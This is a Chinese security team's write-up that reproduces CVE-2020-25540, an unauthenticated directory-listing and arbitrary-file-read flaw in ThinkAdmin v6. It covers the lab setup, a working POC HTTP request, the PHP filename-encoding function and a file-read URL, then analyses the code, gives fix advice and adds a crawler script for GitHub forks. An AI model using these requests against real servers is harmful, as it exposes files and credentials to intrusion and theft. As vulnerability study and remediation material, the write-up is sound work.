作者:口算md5@Timeline Sec
本文字数:1611
阅读时长:5~6min
声明:请勿用作违法用途,否则后果自负
0x01 简介
ThinkAdmin是一套基于thinkphp框架的通用后台管理系统,ThinkAdmin的权限管理基于标准RBAC简化而来,去除了繁杂的节点管理,使得权限管理起来更简单,具体包含节点管理、权限管理、菜单管理、用户管理。
0x02 漏洞概述
漏洞编号CVE-2020-25540
ThinkAdmin6版本存在路径遍历漏洞。该漏洞主要是因为api中存在危险函数,且未作任何限制。未作任何认证可以直接调用api中此两危险函数。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件。
0x03 影响版本
ThinkAdmin版本小于 ≤ 2020.08.03.01
0x04 环境搭建
为
环境:phpStudy+ThinkAdmin_v6
使用Composer命令进行安装
1、设置阿里云 Composer 代理
由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer
2、下载应用代码(别人fork的老版本)
https://Github.com/179776823/ThinkAdmin
3、安装依赖组件
进入ThinkAdmin目录,运行指令安装依赖组件
cd ThinkAdmincomposer install
如未成功,查看官方安装文档:
https://thinkadmin.top/install
0x05 漏洞复现
1、列目录
POC:
POST /admin.html?s=admin/api.Update/node HTTP/1.1 Host: 127.0.0.1 Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 22 rules= %5B%22.%2F%22%5D |
2、任意文件读取
在根目录下创建文件1.txt,内容为lalalaa
使用以下加密函数对1.txt文件名进行加密
function encode($content){ list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars;}
得到数据加密数据1d1a383c38
访问下面链接即可读取到1.txt(读其他文件同理)
http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38
0x06 漏洞分析
1、列目录分析
函数node()
public function node() { $this->success('获取文件列表成功!', InstallService::instance()->getList( json_decode($this->request->post('rules', '[]', ''), true), json_decode($this->request->post('ignore', '[]', ''), true) )); }
读一下函数是把post传过来的rules和ignore参数给getlist()函数
看注释猜getlist()就是一个循环遍历目录读文件和目录信息的,动调跟一下,结合着poc看先传个[“./”]给rules
然后进到getlist(),循环读取改目录下的所有文件
然后就返回出来了
2、任意文件读取分析
函数get()
public function get() { if (file_exists($file = $this->app->getRootPath() . decode(input('encode', '0')))) { $this->success('读取文件成功!', ['content' => base64_encode(file_get_contents($file))]); } else { $this->error('读取文件内容失败!'); } }
这里就是一个获取encode参数作为文件名在thinkadmin根目录下读文件,只不过加了个密。跟一下解密函数。顺便一提,上文用的加密函数就在这个函数上边
2位2位的取字符串中的数据,由36进制转为10进制,当作ASCII码转字符,然后就是返回到get()函数上读完返回。
0x07 修复建议
1.升级到2020.08.03.01之后的版本
2.官方给的临时解决办法
https://github.com/zoujingli/ThinkAdmin/issues/244
0x08 总结
1、整体而言很简洁的漏洞,主要问题在于admin的api没有身份验证,敏感功能函数未加严格过滤。
2、在升级,安装这种功能里使用的函数都比较敏感,未加正确的过滤和验证就容易造成漏洞。
3、在fork里翻老版本的时候搞得有点蛋疼,索性搓了个爬虫。可以根据fork的时间快速找到目标版本。
代码如下:
import random import requests import time from lxml.html import etree from selenium import webdriver uri = 'https://github.com/zoujingli/ThinkAdmin/network/members' def get_time(uri): browser = webdriver.Chrome() # print(uri) browser.get(uri) browser.get(uri) time.sleep(1) time1 = browser.find_element_by_xpath("//relative-time").get_attribute('datetime') browser.close() return time1 if __name__ == '__main__': uri_time = [] response = requests.get(uri).text obj = etree.HTML(response) urls = obj.xpath('//*[@id="network"]/div/a[3]/@href') for i in urls: tmp = ['https://github.com'+i] tmp_time = get_time('https://github.com'+i) tmp.append(tmp_time) print(tmp) uri_time.append(tmp) print(uri_time)
参考链接:https://github.com/zoujingli/ThinkAdmin/issues/244
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行